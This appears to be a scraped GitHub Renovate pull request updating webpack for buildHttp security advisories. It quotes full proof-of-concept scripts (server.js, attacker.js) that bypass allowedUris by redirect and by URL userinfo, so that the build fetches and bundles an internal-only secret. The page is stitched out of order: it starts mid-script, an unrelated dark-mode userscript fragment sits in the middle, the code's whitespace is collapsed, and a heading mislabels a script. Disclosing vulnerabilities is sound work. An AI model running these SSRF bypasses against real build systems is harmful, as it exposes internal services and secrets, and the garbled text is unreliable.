"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
3) Create attacker.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");constwebpackPkg=require("webpack/package.json");constallowedPort=9000;constinternalPort=9100;constallowedBase=`http://127.0.0.1:${allowedPort}/`;constinternalTarget=`http://127.0.0.1:${internalPort}/secret.js`;constentryUrl=`${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;asyncfunctionwalk(dir){constout=[];constitems=awaitfs.readdir(dir,{withFileTypes: true});for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);returnbuf.toString("utf8").includes(needle)||buf.toString("latin1").includes(needle);}catch{returnfalse;}}asyncfunctionfindInFiles(files,needle){consthits=[];for(constfoffiles)if(awaitfileContains(f,needle))hits.push(f);returnhits;}constfmtBool=b=>(b ? "✅" : "❌");(async()=>{consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-attacker-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(entryUrl)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedBase],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constsecret=m ? m[0] : null;console.log("\n[ATTACKER RESULT]");console.log(`- webpack version: ${webpackPkg.version}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);console.log(`- imported URL (allowed only): ${entryUrl}`);console.log(`- temp dir: ${tmp}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log(`- bundle: ${bundlePath}`);if(!secret){console.log("\n[SECURITY SUMMARY]");console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);return;}constlockHit=awaitfileContains(lockfile,secret);letcacheFiles=[];try{cacheFiles=awaitwalk(cacheDir);}catch{cacheFiles=[];}constcacheHit=cacheFiles.length ? (awaitfindInFiles(cacheFiles,secret)).length>0 : false;constallTmpFiles=awaitwalk(tmp);constallHits=awaitfindInFiles(allTmpFiles,secret);console.log(`\n- extracted secret marker from bundle: ${secret}`);console.log("\n[SECURITY SUMMARY]");console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);console.log(`- Internal target (SSRF-like): ${internalTarget}`);console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);console.log(`- ACTUAL: internal content treated as module and bundled`);console.log("\n[EVIDENCE CHECKLIST]");console.log(`- bundle contains secret: ${fmtBool(true)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log("\n[PERSISTENCE CHECK] files containing secret");for(constfofallHits.slice(0,30))console.log(`- ${f}`);if(allHits.length>30)console.log(`- ... and ${allHits.length-30} more`);}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
webpack/webpack (webpack)
v5.104.1
Compare Source
Patch Changes
  • 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
  • c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.
v5.104.0
Compare Source
Minor Changes
  • d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
  • d3dd841: Enhance import.meta.env to support object access.
  • 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
  • 04cd530: Handle more at-rules for CSS modules.
  • cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
  • d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
  • 5983843: Provide a stable runtime function variable __webpack_global__.
  • d3dd841: Improved localIdentName hashing for CSS.
Patch Changes
  • 22c48fb: Added module existence check for informative error message in development mode.
  • 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
  • d3dd841: Support universal lazy compilation.
  • d3dd841: Fixed module library export definitions when multiple runtimes.
  • d3dd841: Fixed CSS nesting and CSS custom properties parsing.
  • d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
  • aab1da9: Fixed bugs for css/global type.
  • d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
  • d3dd841: Handle nested __webpack_require__.
  • 728ddb7: The speed of identifier parsing has been improved.
  • 0f8b31b: Improve types.
  • d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
  • 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
  • d3dd841: Serialize HookWebpackError.
  • d3dd841: Added ability to use built-in properties in dotenv and define plugin.
  • 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
  • d3dd841: Reduce collision for local indent name in CSS.
  • d3dd841: Remove CSS link tags when CSS imports are removed.
v5.103.0
Compare Source
Features
  • Added DotenvPlugin and top level dotenv option to enable this plugin
  • Added WebpackManifestPlugin
  • Added support the ignoreList option in devtool plugins
  • Allow to use custom javascript parse function
  • Added import.meta.env support for environment variables
  • Added support for import.meta.dirname and import.meta.filename
  • Added support import.defer() for statistical path
  • Handle import.meta.main
  • Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
  • Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
  • [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
  • [CSS] Added support for composes properties
Fixes
  • The dependOn chunk must be loaded before the common chunk
  • Return to namespace import when the external request includes a specific export
  • No runtime extra runtime code for module libraries
  • Delay HMR accept dependencies to preserve import attributes
  • Properly handle external presets for universal target
  • Fixed incorrect identifier of import binding for module externals
  • Fixed when defer import and dynamic default export mixed
  • Reduce generated output when globalThis supported
  • Fixed loading async modules in defer import
  • Reexport module for default import when no used exports for systemjs library
  • Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
  • Handle __dirname and __filename for ES modules
  • Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
  • [Types] webpack function type
  • [Types] NormalModule type
  • [Types] Multi compiler configuration type
  • [Types] Fixed regression in custom hashDigest type
  • [CSS] No extra runtime for initial chunk
  • [CSS] Fixed a lot of CSS modules bugs
v5.102.1
Compare Source
Fixes
  • Supported extends with env for browserslist
  • Supported JSONP fragment format for web workers.
  • Fixed dynamic import support in workers using browserslist.
  • Fixed default defer import mangling.
  • Fixed default import of commonjs externals for SystemJS format.
  • Fixed context modules to the same file with different import attributes.
  • Fixed typescript types.
  • Improved import.meta warning messages to be more clear when used directly.
  • [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.
v5.102.0
Compare Source
Features
  • Added static analyze for dynamic imports
  • Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
  • Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
  • Added the snapshot.contextModule to configure snapshots options for context modules
  • Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
  • The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
  • The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
  • Added function matcher support in rule options
Fixes
  • Fixed conflicts caused by multiple concatenate modules
  • Ignore import failure during HMR update with ES modules output
  • Keep render module order consistent
  • Prevent inlining modules that have this exports
  • Removed unused timeout attribute of script tag
  • Supported UMD chunk format to work in web workers
  • Improved CommonJs bundle to ES module library
  • Use es-lexer for mjs files for build dependencies
  • Fixed support __non_webpack_require__ for ES modules
  • Properly handle external modules for CSS
  • AssetsByChunkName included assets from chunk.auxiliaryFiles
  • Use createRequire only when output is ES module and target is node
  • Typescript types
Performance Improvements
  • Avoid extra calls for snapshot
  • A avoid extra jobs for build dependencies
  • Move import attributes to own dependencies
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
enabled auto-merge (squash)
February 7, 2026 20:45
@renovate
renovateBot
commented
Feb 7, 2026

Copy link


Copy Markdown

ContributorAuthor
Branch automerge failure
This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.
@deepsource-io
deepsource-ioBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 9:01p.m.Review ↗
ShellMar 26, 2026 9:01p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
5a17899 to
3d46fe8CompareFebruary 12, 2026 11:32
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
3d46fe8 to
ec73d92CompareFebruary 12, 2026 17:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
ec73d92 to
2c09d49CompareFebruary 16, 2026 15:16
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 16, 2026
@socket-security
socket-securityBot
commented
Feb 16, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​nx/​esbuild@​21.5.31001007199100
Added@​storm-software/​tsdoc@​0.13.1347610010098100
Addeddefu@​6.1.410010010080100
Addeddate-fns@​4.1.0981009280100
Added@​nx/​jest@​21.5.3991009299100
Added@​nx/​devkit@​21.5.3981009399100
Added@​nx/​js@​21.5.3981009399100
Added@​nuxt/​schema@​4.1.29910010094100
Added@​nuxt/​kit@​4.1.29910010094100
View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c09d49 to
b2d5813CompareFebruary 16, 2026 19:11
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2d5813 to
f8e7705CompareFebruary 17, 2026 16:50
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 17, 2026
@socket-security
socket-securityBot
commented
Feb 17, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm buffer is 96.0% likely obfuscated
Confidence: 0.96
Location:Package overview
From:pnpm-lock.yaml → npm/buffer@4.9.2
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f8e7705 to
a99b711CompareFebruary 17, 2026 23:33
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 17, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
a99b711 to
9de95edCompareFebruary 20, 2026 13:35
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
9de95ed to
87b107bCompareFebruary 20, 2026 17:48
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
87b107b to
dba3e1eCompareFebruary 24, 2026 15:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 24, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dba3e1e to
8a41fc8CompareFebruary 24, 2026 20:07
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 24, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-webpack-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
3 times, most recently
from
438605d to
b2afe26CompareApril 1, 2026 17:04
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2afe26 to
dce06daCompareApril 1, 2026 22:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dce06da to
46a2c11CompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
46a2c11 to
7307f35CompareApril 9, 2026 00:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 9, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
7307f35 to
2c45c07CompareApril 15, 2026 09:59
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]Apr 15, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c45c07 to
780a625CompareApril 16, 2026 10:40
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
780a625 to
f2b9bceCompareApril 16, 2026 17:12
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f2b9bce to
06d0d2aCompareApril 16, 2026 21:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
06d0d2a to
31bab0bCompareApril 21, 2026 21:56
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 21, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
31bab0b to
90273adCompareApril 22, 2026 03:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 22, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
90273ad to
fd22a30CompareApril 23, 2026 11:55
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode");
}
} catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); }
})();
})();

Skip to content
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - #208
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Open
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]#208
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
webpack^5.101.3 → ^5.104.1ageconfidence
webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@​) leading to build-time SSRF behavior
CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
  • webpack version: 5.104.0
  • Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
  • http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
  • Raw string check:
    crafted.startsWith("http://127.0.0.1:9000") → true
  • URL parsing (WHAT new URL() will contact):
    origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
  • Server logs showed the internal-only endpoint being fetched:

    • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:

    • the internal secret marker was present in the bundle
    • the internal secret marker was present in the buildHttp cache
image-2
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc &&cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: 